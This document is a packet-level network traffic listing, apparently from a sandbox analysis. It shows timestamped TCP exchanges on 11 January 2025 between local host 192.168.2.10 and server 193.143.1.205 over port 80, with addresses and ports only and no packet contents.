Jan 11, 2025 09:21:50.713279963 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713321924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713363886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713366032 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713427067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713473082 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713475943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713541985 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713583946 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713589907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713638067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713685036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713717937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713779926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713826895 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713826895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713874102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713924885 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713937044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713984013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714025021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714030981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714077950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714118958 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714123011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714169979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714214087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714216948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714266062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714310884 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714313030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714359045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714396954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714405060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714452028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714493036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714498997 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714545965 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714591980 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714591980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714639902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714687109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714703083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714760065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714806080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714831114 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714854956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714900017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.714901924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.714950085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715006113 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715010881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715058088 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715096951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715104103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715151072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715193033 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715198994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715250015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715291023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715310097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715373039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715418100 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715421915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715467930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715500116 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715517998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715572119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715580940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715620995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715667009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715667009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715713978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715745926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715763092 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715801001 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715822935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715825081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715872049 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.715914011 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.715924978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731107950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731149912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731204987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731307030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731381893 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731385946 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731429100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731472969 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731477022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731544018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731586933 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731606960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731654882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731695890 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731699944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731750011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731791973 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731796026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731859922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731901884 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731904984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731952906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.731991053 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.731998920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.732044935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.732085943 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.732110023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.732163906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.732204914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.732212067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.732261896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.732302904 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.745503902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750201941 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750297070 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750343084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750353098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750389099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750426054 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750436068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750483036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750519037 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750545979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750608921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750648022 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750655890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750704050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750744104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750749111 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750807047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750844002 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750853062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750900030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750936031 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.750946045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.750994921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.751034021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.751041889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.751091957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.751127005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.751137972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.780962944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781012058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781044006 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781059027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781106949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781107903 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781153917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781193972 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781199932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781249046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781291008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781292915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781358004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781399012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781405926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781467915 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781511068 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781513929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781562090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781601906 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.781605959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781653881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.781694889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.799729109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.799808025 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.799869061 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.799874067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.799923897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.799967051 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.799969912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800019026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800062895 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800065041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800127983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800168991 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800173998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800220966 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800265074 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800283909 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800332069 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800374985 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800378084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800429106 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800474882 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800488949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800549984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800591946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800592899 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800637007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800673962 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800683975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800729990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800771952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800793886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800839901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800880909 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800884962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800931931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.800972939 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.800977945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801029921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801070929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801076889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801110983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801153898 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801167965 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801214933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801256895 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801264048 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801311016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801356077 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801357031 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801404953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801445961 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801465988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801512957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801554918 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801558018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801606894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801647902 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801652908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801700115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801742077 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801748037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801808119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801851034 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801855087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801903009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801944971 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.801949024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.801995039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.802037954 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.802041054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.802088976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.802129030 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.802134991 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.802181959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.802222967 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.802228928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.842994928 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.869023085 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.873960972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874010086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874057055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874058008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874138117 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874185085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874228001 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874231100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874274015 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874294996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874346018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874391079 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874391079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874438047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874488115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874500036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874547958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874593973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874600887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874659061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874705076 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874711990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874754906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874802113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874818087 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874849081 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874896049 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874903917 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874943972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.874991894 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.874991894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875055075 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875102043 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875106096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875169039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875215054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875224113 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875263929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875309944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875318050 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875380993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875425100 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875426054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875473022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875518084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875524044 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875566006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875611067 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875612974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875658989 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875709057 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875741005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875791073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875834942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875835896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875883102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875927925 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.875929117 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.875974894 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876020908 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876022100 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876070023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876115084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876121044 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876167059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876208067 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876230955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876277924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876322031 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876322985 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876384974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876430035 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876430988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876485109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876526117 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876529932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876580000 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876621008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876665115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876714945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876768112 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876773119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876823902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876868010 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876868963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876916885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.876960993 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.876971006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.877017021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.877058983 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.877063036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886620998 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886668921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886691093 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.886733055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886785030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.886792898 CET	49722	80	192.168.2.10	193.143.1.205
